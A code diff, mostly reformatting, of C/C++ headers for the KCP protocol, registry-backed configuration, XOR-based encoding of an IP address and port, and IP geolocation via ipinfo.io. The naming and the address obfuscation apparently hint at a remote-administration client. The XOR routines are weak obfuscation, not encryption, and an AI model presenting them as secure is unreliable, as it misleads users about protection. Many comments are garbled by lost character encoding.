b/common/ikcp.h @@ -2,7 +2,7 @@ // // KCP - A Better ARQ Protocol Implementation // skywind3000 (at) gmail.com, 2010-2011 -// +// // Features: // + Average RTT reduce 30% - 40% vs traditional ARQ like tcp. // + Maximum RTT reduce three times vs tcp. @@ -18,40 +18,40 @@ //===================================================================== -// 32BIT INTEGER DEFINITION +// 32BIT INTEGER DEFINITION //===================================================================== #ifndef __INTEGER_32_BITS__ #define __INTEGER_32_BITS__ #if defined(_WIN64) || defined(WIN64) || defined(__amd64__) || \ defined(__x86_64) || defined(__x86_64__) || defined(_M_IA64) || \ defined(_M_AMD64) - typedef unsigned int ISTDUINT32; - typedef int ISTDINT32; +typedef unsigned int ISTDUINT32; +typedef int ISTDINT32; #elif defined(_WIN32) || defined(WIN32) || defined(__i386__) || \ defined(__i386) || defined(_M_X86) - typedef unsigned long ISTDUINT32; - typedef long ISTDINT32; +typedef unsigned long ISTDUINT32; +typedef long ISTDINT32; #elif defined(__MACOS__) - typedef UInt32 ISTDUINT32; - typedef SInt32 ISTDINT32; +typedef UInt32 ISTDUINT32; +typedef SInt32 ISTDINT32; #elif defined(__APPLE__) && defined(__MACH__) - #include - typedef u_int32_t ISTDUINT32; - typedef int32_t ISTDINT32; +#include +typedef u_int32_t ISTDUINT32; +typedef int32_t ISTDINT32; #elif defined(__BEOS__) - #include - typedef u_int32_t ISTDUINT32; - typedef int32_t ISTDINT32; +#include +typedef u_int32_t ISTDUINT32; +typedef int32_t ISTDINT32; #elif (defined(_MSC_VER) || defined(__BORLANDC__)) && (!defined(__MSDOS__)) - typedef unsigned __int32 ISTDUINT32; - typedef __int32 ISTDINT32; +typedef unsigned __int32 ISTDUINT32; +typedef __int32 ISTDINT32; #elif defined(__GNUC__) - #include - typedef uint32_t ISTDUINT32; - typedef int32_t ISTDINT32; -#else - typedef unsigned long ISTDUINT32; - typedef long ISTDINT32; +#include +typedef uint32_t ISTDUINT32; +typedef int32_t ISTDINT32; +#else +typedef unsigned long ISTDUINT32; +typedef long ISTDINT32; #endif #endif @@ -119,7 +119,7 @@ typedef unsigned long long IUINT64; #elif (defined(_MSC_VER) || defined(__BORLANDC__) || defined(__WATCOMC__)) #define INLINE __inline #else -#define INLINE +#define INLINE #endif #endif @@ -129,20 +129,20 @@ typedef unsigned long long IUINT64; //===================================================================== -// QUEUE DEFINITION +// QUEUE DEFINITION //===================================================================== #ifndef __IQUEUE_DEF__ #define __IQUEUE_DEF__ struct IQUEUEHEAD { - struct IQUEUEHEAD *next, *prev; + struct IQUEUEHEAD *next, *prev; }; typedef struct IQUEUEHEAD iqueue_head; //--------------------------------------------------------------------- -// queue init +// queue init //--------------------------------------------------------------------- #define IQUEUE_HEAD_INIT(name) { &(name), &(name) } #define IQUEUE_HEAD(name) \ @@ -160,7 +160,7 @@ typedef struct IQUEUEHEAD iqueue_head; //--------------------------------------------------------------------- -// queue operation +// queue operation //--------------------------------------------------------------------- #define IQUEUE_ADD(node, head) ( \ (node)->prev = (head), (node)->next = (head)->next, \ @@ -200,7 +200,7 @@ typedef struct IQUEUEHEAD iqueue_head; #define iqueue_foreach_entry(pos, head) \ for( (pos) = (head)->next; (pos) != (head) ; (pos) = (pos)->next ) - + #define __iqueue_splice(list, head) do { \ iqueue_head *first = (list)->next, *last = (list)->prev; \ @@ -228,92 +228,90 @@ typedef struct IQUEUEHEAD iqueue_head; // BYTE ORDER & ALIGNMENT //--------------------------------------------------------------------- #ifndef IWORDS_BIG_ENDIAN - #ifdef _BIG_ENDIAN_ - #if _BIG_ENDIAN_ - #define IWORDS_BIG_ENDIAN 1 - #endif - #endif - #ifndef IWORDS_BIG_ENDIAN - #if defined(__hppa__) || \ +#ifdef _BIG_ENDIAN_ +#if _BIG_ENDIAN_ +#define IWORDS_BIG_ENDIAN 1 +#endif +#endif +#ifndef IWORDS_BIG_ENDIAN +#if defined(__hppa__) || \ defined(__m68k__) || defined(mc68000) || defined(_M_M68K) || \ (defined(__MIPS__) && defined(__MIPSEB__)) || \ defined(__ppc__) || defined(__POWERPC__) || defined(_M_PPC) || \ defined(__sparc__) || defined(__powerpc__) || \ defined(__mc68000__) || defined(__s390x__) || defined(__s390__) - #define IWORDS_BIG_ENDIAN 1 - #endif - #endif - #ifndef IWORDS_BIG_ENDIAN - #define IWORDS_BIG_ENDIAN 0 - #endif +#define IWORDS_BIG_ENDIAN 1 +#endif +#endif +#ifndef IWORDS_BIG_ENDIAN +#define IWORDS_BIG_ENDIAN 0 +#endif #endif #ifndef IWORDS_MUST_ALIGN - #if defined(__i386__) || defined(__i386) || defined(_i386_) - #define IWORDS_MUST_ALIGN 0 - #elif defined(_M_IX86) || defined(_X86_) || defined(__x86_64__) - #define IWORDS_MUST_ALIGN 0 - #elif defined(__amd64) || defined(__amd64__) - #define IWORDS_MUST_ALIGN 0 - #else - #define IWORDS_MUST_ALIGN 1 - #endif +#if defined(__i386__) || defined(__i386) || defined(_i386_) +#define IWORDS_MUST_ALIGN 0 +#elif defined(_M_IX86) || defined(_X86_) || defined(__x86_64__) +#define IWORDS_MUST_ALIGN 0 +#elif defined(__amd64) || defined(__amd64__) +#define IWORDS_MUST_ALIGN 0 +#else +#define IWORDS_MUST_ALIGN 1 +#endif #endif //===================================================================== // SEGMENT //===================================================================== -struct IKCPSEG -{ - struct IQUEUEHEAD node; - IUINT32 conv; - IUINT32 cmd; - IUINT32 frg; - IUINT32 wnd; - IUINT32 ts; - IUINT32 sn; - IUINT32 una; - IUINT32 len; - IUINT32 resendts; - IUINT32 rto; - IUINT32 fastack; - IUINT32 xmit; - char data[1]; +struct IKCPSEG { + struct IQUEUEHEAD node; + IUINT32 conv; + IUINT32 cmd; + IUINT32 frg; + IUINT32 wnd; + IUINT32 ts; + IUINT32 sn; + IUINT32 una; + IUINT32 len; + IUINT32 resendts; + IUINT32 rto; + IUINT32 fastack; + IUINT32 xmit; + char data[1]; }; //--------------------------------------------------------------------- // IKCPCB //--------------------------------------------------------------------- -struct IKCPCB -{ - IUINT32 conv, mtu, mss, state; - IUINT32 snd_una, snd_nxt, rcv_nxt; - IUINT32 ts_recent, ts_lastack, ssthresh; - IINT32 rx_rttval, rx_srtt, rx_rto, rx_minrto; - IUINT32 snd_wnd, rcv_wnd, rmt_wnd, cwnd, probe; - IUINT32 current, interval, ts_flush, xmit; - IUINT32 nrcv_buf, nsnd_buf; - IUINT32 nrcv_que, nsnd_que; - IUINT32 nodelay, updated; - IUINT32 ts_probe, probe_wait; - IUINT32 dead_link, incr; - struct IQUEUEHEAD snd_queue; - struct IQUEUEHEAD rcv_queue; - struct IQUEUEHEAD snd_buf; - struct IQUEUEHEAD rcv_buf; - IUINT32 *acklist; - IUINT32 ackcount; - IUINT32 ackblock; - void *user; - char *buffer; - int fastresend; - int fastlimit; - int nocwnd, stream; - int logmask; - int (*output)(const char *buf, int len, struct IKCPCB *kcp, void *user); - void (*writelog)(const char *log, struct IKCPCB *kcp, void *user); +struct IKCPCB { + IUINT32 conv, mtu, mss, state; + IUINT32 snd_una, snd_nxt, rcv_nxt; + IUINT32 ts_recent, ts_lastack, ssthresh; + IINT32 rx_rttval, rx_srtt, rx_rto, rx_minrto; + IUINT32 snd_wnd, rcv_wnd, rmt_wnd, cwnd, probe; + IUINT32 current, interval, ts_flush, xmit; + IUINT32 nrcv_buf, nsnd_buf; + IUINT32 nrcv_que, nsnd_que; + IUINT32 nodelay, updated; + IUINT32 ts_probe, probe_wait; + IUINT32 dead_link, incr; + struct IQUEUEHEAD snd_queue; + struct IQUEUEHEAD rcv_queue; + struct IQUEUEHEAD snd_buf; + struct IQUEUEHEAD rcv_buf; + IUINT32 *acklist; + IUINT32 ackcount; + IUINT32 ackblock; + void *user; + char *buffer; + int fastresend; + int fastlimit; + int nocwnd, stream; + int logmask; + int (*output)(const char *buf, int len, struct IKCPCB *kcp, void *user); + void (*writelog)(const char *log, struct IKCPCB *kcp, void *user); }; @@ -349,8 +347,8 @@ ikcpcb* ikcp_create(IUINT32 conv, void *user); void ikcp_release(ikcpcb *kcp); // set output callback, which will be invoked by kcp -void ikcp_setoutput(ikcpcb *kcp, int (*output)(const char *buf, int len, - ikcpcb *kcp, void *user)); +void ikcp_setoutput(ikcpcb *kcp, int (*output)(const char *buf, int len, + ikcpcb *kcp, void *user)); // user/upper level recv: returns size, returns below zero for EAGAIN int ikcp_recv(ikcpcb *kcp, char *buffer, int len); @@ -358,17 +356,17 @@ int ikcp_recv(ikcpcb *kcp, char *buffer, int len); // user/upper level send, returns below zero for error int ikcp_send(ikcpcb *kcp, const char *buffer, int len); -// update state (call it repeatedly, every 10ms-100ms), or you can ask +// update state (call it repeatedly, every 10ms-100ms), or you can ask // ikcp_check when to call it again (without ikcp_input/_send calling). -// 'current' - current timestamp in millisec. +// 'current' - current timestamp in millisec. void ikcp_update(ikcpcb *kcp, IUINT32 current); // Determine when should you invoke ikcp_update: -// returns when you should invoke ikcp_update in millisec, if there +// returns when you should invoke ikcp_update in millisec, if there // is no ikcp_input/_send calling. you can call ikcp_update in that // time, instead of call update repeatly. -// Important to reduce unnacessary ikcp_update invoking. use it to -// schedule ikcp_update (eg. implementing an epoll-like mechanism, +// Important to reduce unnacessary ikcp_update invoking. use it to +// schedule ikcp_update (eg. implementing an epoll-like mechanism, // or optimize ikcp_update when handling massive kcp connections) IUINT32 ikcp_check(const ikcpcb *kcp, IUINT32 current); @@ -392,7 +390,7 @@ int ikcp_waitsnd(const ikcpcb *kcp); // fastest: ikcp_nodelay(kcp, 1, 20, 2, 1) // nodelay: 0:disable(default), 1:enable -// interval: internal update timer interval in millisec, default is 100ms +// interval: internal update timer interval in millisec, default is 100ms // resend: 0:disable fast resend(default), 1:enable fast resend // nc: 0:normal congestion control(default), 1:disable congestion control int ikcp_nodelay(ikcpcb *kcp, int nodelay, int interval, int resend, int nc); diff --git a/common/iniFile.h b/common/iniFile.h index 3af85ef..2f20a2b 100644 --- a/common/iniFile.h +++ b/common/iniFile.h @@ -9,208 +9,204 @@ class config { private: - char m_IniFilePath[_MAX_PATH] = { 0 }; + char m_IniFilePath[_MAX_PATH] = { 0 }; public: - virtual ~config() {} + virtual ~config() {} - config(const std::string& path="") - { - if (path.length() == 0) { - ::GetModuleFileNameA(NULL, m_IniFilePath, sizeof(m_IniFilePath)); - GET_FILEPATH(m_IniFilePath, "settings.ini"); - } else { - memcpy(m_IniFilePath, path.c_str(), path.length()); - } - } + config(const std::string& path="") + { + if (path.length() == 0) { + ::GetModuleFileNameA(NULL, m_IniFilePath, sizeof(m_IniFilePath)); + GET_FILEPATH(m_IniFilePath, "settings.ini"); + } else { + memcpy(m_IniFilePath, path.c_str(), path.length()); + } + } - virtual int GetInt(const std::string& MainKey, const std::string& SubKey, int nDef=0) - { - return ::GetPrivateProfileIntA(MainKey.c_str(), SubKey.c_str(), nDef, m_IniFilePath); - } + virtual int GetInt(const std::string& MainKey, const std::string& SubKey, int nDef=0) + { + return ::GetPrivateProfileIntA(MainKey.c_str(), SubKey.c_str(), nDef, m_IniFilePath); + } - // ȡеĵһ - virtual int Get1Int(const std::string& MainKey, const std::string& SubKey, char ch=';', int nDef=0) - { - std::string s = GetStr(MainKey, SubKey, ""); - s = StringToVector(s, ch)[0]; - return s.empty() ? nDef : atoi(s.c_str()); - } + // ȡеĵһ + virtual int Get1Int(const std::string& MainKey, const std::string& SubKey, char ch=';', int nDef=0) + { + std::string s = GetStr(MainKey, SubKey, ""); + s = StringToVector(s, ch)[0]; + return s.empty() ? nDef : atoi(s.c_str()); + } - virtual bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) - { - std::string strData = std::to_string(Data); - return ::WritePrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), strData.c_str(), m_IniFilePath); - } + virtual bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) + { + std::string strData = std::to_string(Data); + return ::WritePrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), strData.c_str(), m_IniFilePath); + } - virtual std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "") - { - char buf[_MAX_PATH] = { 0 }; - ::GetPrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), def.c_str(), buf, sizeof(buf), m_IniFilePath); - return std::string(buf); - } + virtual std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "") + { + char buf[_MAX_PATH] = { 0 }; + ::GetPrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), def.c_str(), buf, sizeof(buf), m_IniFilePath); + return std::string(buf); + } - virtual bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data) - { - return ::WritePrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), Data.c_str(), m_IniFilePath); - } + virtual bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data) + { + return ::WritePrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), Data.c_str(), m_IniFilePath); + } }; // öȡ: ע. class iniFile : public config { private: - HKEY m_hRootKey; - std::string m_SubKeyPath; + HKEY m_hRootKey; + std::string m_SubKeyPath; public: - ~iniFile() {} + ~iniFile() {} - iniFile(const std::string& path = YAMA_PATH) - { - m_hRootKey = HKEY_CURRENT_USER; - m_SubKeyPath = path; - } + iniFile(const std::string& path = YAMA_PATH) + { + m_hRootKey = HKEY_CURRENT_USER; + m_SubKeyPath = path; + } - // дʵдΪַ - bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) override - { - return SetStr(MainKey, SubKey, std::to_string(Data)); - } + // дʵдΪַ + bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) override + { + return SetStr(MainKey, SubKey, std::to_string(Data)); + } - // дַ - bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data) override - { - std::string fullPath = m_SubKeyPath + "\\" + MainKey; - HKEY hKey; - if (RegCreateKeyExA(m_hRootKey, fullPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS) - return false; + // дַ + bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data) override + { + std::string fullPath = m_SubKeyPath + "\\" + MainKey; + HKEY hKey; + if (RegCreateKeyExA(m_hRootKey, fullPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS) + return false; - bool bRet = (RegSetValueExA(hKey, SubKey.c_str(), 0, REG_SZ, - reinterpret_cast(Data.c_str()), - static_cast(Data.size() + 1)) == ERROR_SUCCESS); - RegCloseKey(hKey); - return bRet; - } + bool bRet = (RegSetValueExA(hKey, SubKey.c_str(), 0, REG_SZ, + reinterpret_cast(Data.c_str()), + static_cast(Data.size() + 1)) == ERROR_SUCCESS); + RegCloseKey(hKey); + return bRet; + } - // ȡַ - std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "") override - { - std::string fullPath = m_SubKeyPath + "\\" + MainKey; - HKEY hKey; - char buffer[512] = { 0 }; - DWORD dwSize = sizeof(buffer); - std::string result = def; + // ȡַ + std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "") override + { + std::string fullPath = m_SubKeyPath + "\\" + MainKey; + HKEY hKey; + char buffer[512] = { 0 }; + DWORD dwSize = sizeof(buffer); + std::string result = def; - if (RegOpenKeyExA(m_hRootKey, fullPath.c_str(), 0, KEY_READ, &hKey) == ERROR_SUCCESS) - { - DWORD dwType = REG_SZ; - if (RegQueryValueExA(hKey, SubKey.c_str(), NULL, &dwType, reinterpret_cast(buffer), &dwSize) == ERROR_SUCCESS && - dwType == REG_SZ) - { - result = buffer; - } - RegCloseKey(hKey); - } - return result; - } + if (RegOpenKeyExA(m_hRootKey, fullPath.c_str(), 0, KEY_READ, &hKey) == ERROR_SUCCESS) { + DWORD dwType = REG_SZ; + if (RegQueryValueExA(hKey, SubKey.c_str(), NULL, &dwType, reinterpret_cast(buffer), &dwSize) == ERROR_SUCCESS && + dwType == REG_SZ) { + result = buffer; + } + RegCloseKey(hKey); + } + return result; + } - // ȡȴַת - int GetInt(const std::string& MainKey, const std::string& SubKey, int defVal = 0) override - { - std::string val = GetStr(MainKey, SubKey); - if (val.empty()) - return defVal; + // ȡȴַת + int GetInt(const std::string& MainKey, const std::string& SubKey, int defVal = 0) override + { + std::string val = GetStr(MainKey, SubKey); + if (val.empty()) + return defVal; - try { - return std::stoi(val); - } - catch (...) { - return defVal; - } - } + try { + return std::stoi(val); + } catch (...) { + return defVal; + } + } }; class binFile : public config { private: - HKEY m_hRootKey; - std::string m_SubKeyPath; + HKEY m_hRootKey; + std::string m_SubKeyPath; public: - ~binFile() {} + ~binFile() {} - binFile(const std::string& path = CLIENT_PATH) - { - m_hRootKey = HKEY_CURRENT_USER; - m_SubKeyPath = path; - } + binFile(const std::string& path = CLIENT_PATH) + { + m_hRootKey = HKEY_CURRENT_USER; + m_SubKeyPath = path; + } - // ддΪƣ - bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) override - { - return SetBinary(MainKey, SubKey, reinterpret_cast(&Data), sizeof(int)); - } + // ддΪƣ + bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) override + { + return SetBinary(MainKey, SubKey, reinterpret_cast(&Data), sizeof(int)); + } - // дַԶƷʽ - bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data) override - { - return SetBinary(MainKey, SubKey, reinterpret_cast(Data.data()), static_cast(Data.size())); - } + // дַԶƷʽ + bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data) override + { + return SetBinary(MainKey, SubKey, reinterpret_cast(Data.data()), static_cast(Data.size())); + } - // ȡַӶת - std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "") override - { - std::vector buffer; - if (!GetBinary(MainKey, SubKey, buffer)) - return def; + // ȡַӶת + std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "") override + { + std::vector buffer; + if (!GetBinary(MainKey, SubKey, buffer)) + return def; - return std::string(buffer.begin(), buffer.end()); - } + return std::string(buffer.begin(), buffer.end()); + } - // ȡӶƽ - int GetInt(const std::string& MainKey, const std::string& SubKey, int defVal = 0) override - { - std::vector buffer; - if (!GetBinary(MainKey, SubKey, buffer) || buffer.size() < sizeof(int)) - return defVal; + // ȡӶƽ + int GetInt(const std::string& MainKey, const std::string& SubKey, int defVal = 0) override + { + std::vector buffer; + if (!GetBinary(MainKey, SubKey, buffer) || buffer.size() < sizeof(int)) + return defVal; - int value = 0; - memcpy(&value, buffer.data(), sizeof(int)); - return value; - } + int value = 0; + memcpy(&value, buffer.data(), sizeof(int)); + return value; + } private: - bool SetBinary(const std::string& MainKey, const std::string& SubKey, const BYTE* data, DWORD size) - { - std::string fullPath = m_SubKeyPath + "\\" + MainKey; - HKEY hKey; - if (RegCreateKeyExA(m_hRootKey, fullPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS) - return false; + bool SetBinary(const std::string& MainKey, const std::string& SubKey, const BYTE* data, DWORD size) + { + std::string fullPath = m_SubKeyPath + "\\" + MainKey; + HKEY hKey; + if (RegCreateKeyExA(m_hRootKey, fullPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS) + return false; - bool bRet = (RegSetValueExA(hKey, SubKey.c_str(), 0, REG_BINARY, data, size) == ERROR_SUCCESS); - RegCloseKey(hKey); - return bRet; - } + bool bRet = (RegSetValueExA(hKey, SubKey.c_str(), 0, REG_BINARY, data, size) == ERROR_SUCCESS); + RegCloseKey(hKey); + return bRet; + } - bool GetBinary(const std::string& MainKey, const std::string& SubKey, std::vector& outData) - { - std::string fullPath = m_SubKeyPath + "\\" + MainKey; - HKEY hKey; - if (RegOpenKeyExA(m_hRootKey, fullPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) - return false; + bool GetBinary(const std::string& MainKey, const std::string& SubKey, std::vector& outData) + { + std::string fullPath = m_SubKeyPath + "\\" + MainKey; + HKEY hKey; + if (RegOpenKeyExA(m_hRootKey, fullPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) + return false; - DWORD dwType = 0; - DWORD dwSize = 0; - if (RegQueryValueExA(hKey, SubKey.c_str(), NULL, &dwType, NULL, &dwSize) != ERROR_SUCCESS || dwType != REG_BINARY) - { - RegCloseKey(hKey); - return false; - } + DWORD dwType = 0; + DWORD dwSize = 0; + if (RegQueryValueExA(hKey, SubKey.c_str(), NULL, &dwType, NULL, &dwSize) != ERROR_SUCCESS || dwType != REG_BINARY) { + RegCloseKey(hKey); + return false; + } - outData.resize(dwSize); - bool bRet = (RegQueryValueExA(hKey, SubKey.c_str(), NULL, NULL, outData.data(), &dwSize) == ERROR_SUCCESS); - RegCloseKey(hKey); - return bRet; - } + outData.resize(dwSize); + bool bRet = (RegQueryValueExA(hKey, SubKey.c_str(), NULL, NULL, outData.data(), &dwSize) == ERROR_SUCCESS); + RegCloseKey(hKey); + return bRet; + } }; diff --git a/common/ip_enc.h b/common/ip_enc.h index 31d13c9..8b8ed98 100644 --- a/common/ip_enc.h +++ b/common/ip_enc.h @@ -6,50 +6,55 @@ // Encode for IP and Port. // provided by ChatGPT. -class StreamCipher { +class StreamCipher +{ private: - uint32_t state; + uint32_t state; - // 򵥷α - uint8_t prngNext() { - // ӣxorshift32һ - state ^= (state << 13); - state ^= (state >> 17); - state ^= (state << 5); - // ٻһ򵥵ķԱ任 - uint8_t out = (state & 0xFF) ^ ((state >> 8) & 0xFF); - return out; - } + // 򵥷α + uint8_t prngNext() + { + // ӣxorshift32һ + state ^= (state << 13); + state ^= (state >> 17); + state ^= (state << 5); + // ٻһ򵥵ķԱ任 + uint8_t out = (state & 0xFF) ^ ((state >> 8) & 0xFF); + return out; + } public: - StreamCipher(uint32_t key) : state(key) {} + StreamCipher(uint32_t key) : state(key) {} - // ܽܣԳƣȲ䣩 - void process(uint8_t* data, size_t len) { - for (size_t i = 0; i < len; ++i) { - data[i] ^= prngNext(); - } - } + // ܽܣԳƣȲ䣩 + void process(uint8_t* data, size_t len) + { + for (size_t i = 0; i < len; ++i) { + data[i] ^= prngNext(); + } + } }; -class PrintableXORCipher { +class PrintableXORCipher +{ public: - // ԳƼӽܣΪɴӡַ - // ǰ᣺32~126Χַ - void process(char* data, size_t len) { - for (size_t i = 0; i < len; ++i) { - char c = data[i]; - // ַ֤ǿɴӡΧ - if (c < 32 || c > 126) { - // ǴӡַҲԶ - continue; - } - // 0x55'U'ȷ32~126֮ - char encrypted = c ^ 0x55; - // ڷΧطΧڣ򵥼Ӽѭ - if (encrypted < 32) encrypted += 95; - if (encrypted > 126) encrypted -= 95; - data[i] = encrypted; - } - } + // ԳƼӽܣΪɴӡַ + // ǰ᣺32~126Χַ + void process(char* data, size_t len) + { + for (size_t i = 0; i < len; ++i) { + char c = data[i]; + // ַ֤ǿɴӡΧ + if (c < 32 || c > 126) { + // ǴӡַҲԶ + continue; + } + // 0x55'U'ȷ32~126֮ + char encrypted = c ^ 0x55; + // ڷΧطΧڣ򵥼Ӽѭ + if (encrypted < 32) encrypted += 95; + if (encrypted > 126) encrypted -= 95; + data[i] = encrypted; + } + } }; diff --git a/common/location.h b/common/location.h index 5b9d90b..6aa3e49 100644 --- a/common/location.h +++ b/common/location.h @@ -24,16 +24,16 @@ #pragma comment(lib, "wininet.lib") #pragma comment(lib, "Iphlpapi.lib") -inline void splitIpPort(const std::string& input, std::string& ip, std::string& port) { - size_t pos = input.find(':'); - if (pos != std::string::npos) { - ip = input.substr(0, pos); - port = input.substr(pos + 1); - } - else { - ip = input; - port = ""; - } +inline void splitIpPort(const std::string& input, std::string& ip, std::string& port) +{ + size_t pos = input.find(':'); + if (pos != std::string::npos) { + ip = input.substr(0, pos); + port = input.substr(pos + 1); + } else { + ip = input; + port = ""; + } } /** @@ -43,205 +43,210 @@ inline void splitIpPort(const std::string& input, std::string& ip, std::string& class IPConverter { public: - std::string IPtoAddress(const std::string& ip) { return "implement me"; } + std::string IPtoAddress(const std::string& ip) + { + return "implement me"; + } - /** - * жϸ IP ַǷǾIP - * @param ipAddress IP ַַ "192.168.1.1" - * @return Ǿ IP true; 򷵻 false - */ - bool IsPrivateIP(const std::string& ipAddress) { - // IP ַַתΪƸʽ - in_addr addr; - if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) { - Mprintf("Invalid IP address: %s\n", ipAddress.c_str()); - return false; - } + /** + * жϸ IP ַǷǾIP + * @param ipAddress IP ַַ "192.168.1.1" + * @return Ǿ IP true; 򷵻 false + */ + bool IsPrivateIP(const std::string& ipAddress) + { + // IP ַַתΪƸʽ + in_addr addr; + if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) { + Mprintf("Invalid IP address: %s\n", ipAddress.c_str()); + return false; + } - // IP ַתΪ޷ - unsigned long ip = ntohl(addr.s_addr); + // IP ַתΪ޷ + unsigned long ip = ntohl(addr.s_addr); - // IP ַǷھΧ - if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8 - (ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12 - (ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16 - (ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8 - return true; - } + // IP ַǷھΧ + if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8 + (ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12 + (ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16 + (ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8 + return true; + } - return false; - } + return false; + } - // ȡλ - std::string GetLocalLocation() { - return GetGeoLocation(getPublicIP()); - } + // ȡλ + std::string GetLocalLocation() + { + return GetGeoLocation(getPublicIP()); + } - // ȡ IP ַλ([ipinfo.io]) - std::string GetGeoLocation(const std::string& IP) { - if (IP.empty()) return ""; + // ȡ IP ַλ([ipinfo.io]) + std::string GetGeoLocation(const std::string& IP) + { + if (IP.empty()) return ""; - std::string ip = IP; - if (isLocalIP(ip)) { - ip = getPublicIP(); - if (ip.empty()) - return ""; - } + std::string ip = IP; + if (isLocalIP(ip)) { + ip = getPublicIP(); + if (ip.empty()) + return ""; + } - HINTERNET hInternet, hConnect; - DWORD bytesRead; - std::string readBuffer; + HINTERNET hInternet, hConnect; + DWORD bytesRead; + std::string readBuffer; - // ʼ WinINet - hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); - if (hInternet == NULL) { - Mprintf("InternetOpen failed! %d\n", GetLastError()); - return ""; - } + // ʼ WinINet + hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + if (hInternet == NULL) { + Mprintf("InternetOpen failed! %d\n", GetLastError()); + return ""; + } - // HTTP - std::string url = "http://ipinfo.io/" + ip + "/json"; - hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0); - if (hConnect == NULL) { - Mprintf("InternetOpenUrlA failed! %d\n", GetLastError()); - InternetCloseHandle(hInternet); - return ""; - } + // HTTP + std::string url = "http://ipinfo.io/" + ip + "/json"; + hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0); + if (hConnect == NULL) { + Mprintf("InternetOpenUrlA failed! %d\n", GetLastError()); + InternetCloseHandle(hInternet); + return ""; + } - // ȡص - char buffer[4096]; - while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) { - readBuffer.append(buffer, bytesRead); - } + // ȡص + char buffer[4096]; + while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) { + readBuffer.append(buffer, bytesRead); + } - // JSON Ӧ - Json::Value jsonData; - Json::Reader jsonReader; - std::string location; + // JSON Ӧ + Json::Value jsonData; + Json::Reader jsonReader; + std::string location; - if (jsonReader.parse(readBuffer, jsonData)) { - std::string country = jsonData["country"].asString(); - std::string city = jsonData["city"].asString(); - std::string loc = jsonData["loc"].asString(); // γϢ - if (city.empty() && country.empty()) { - } - else if (city.empty()) { - location = country; - } - else if (country.empty()) { - location = city; - } - else { - location = city + ", " + country; - } - if (location.empty() && IsPrivateIP(ip)) { - location = "Local Area Network"; - } - } - else { - Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str()); - } + if (jsonReader.parse(readBuffer, jsonData)) { + std::string country = jsonData["country"].asString(); + std::string city = jsonData["city"].asString(); + std::string loc = jsonData["loc"].asString(); // γϢ + if (city.empty() && country.empty()) { + } else if (city.empty()) { + location = country; + } else if (country.empty()) { + location = city; + } else { + location = city + ", " + country; + } + if (location.empty() && IsPrivateIP(ip)) { + location = "Local Area Network"; + } + } else { + Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str()); + } - // رվ - InternetCloseHandle(hConnect); - InternetCloseHandle(hInternet); + // رվ + InternetCloseHandle(hConnect); + InternetCloseHandle(hInternet); - return location; - } + return location; + } - bool isLoopbackAddress(const std::string& ip) { - return (ip == "127.0.0.1" || ip == "::1"); - } + bool isLoopbackAddress(const std::string& ip) + { + return (ip == "127.0.0.1" || ip == "::1"); + } - bool isLocalIP(const std::string& ip) { - if (isLoopbackAddress(ip)) return true; // ȼػַ + bool isLocalIP(const std::string& ip) + { + if (isLoopbackAddress(ip)) return true; // ȼػַ - ULONG outBufLen = 15000; - IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen); - if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, 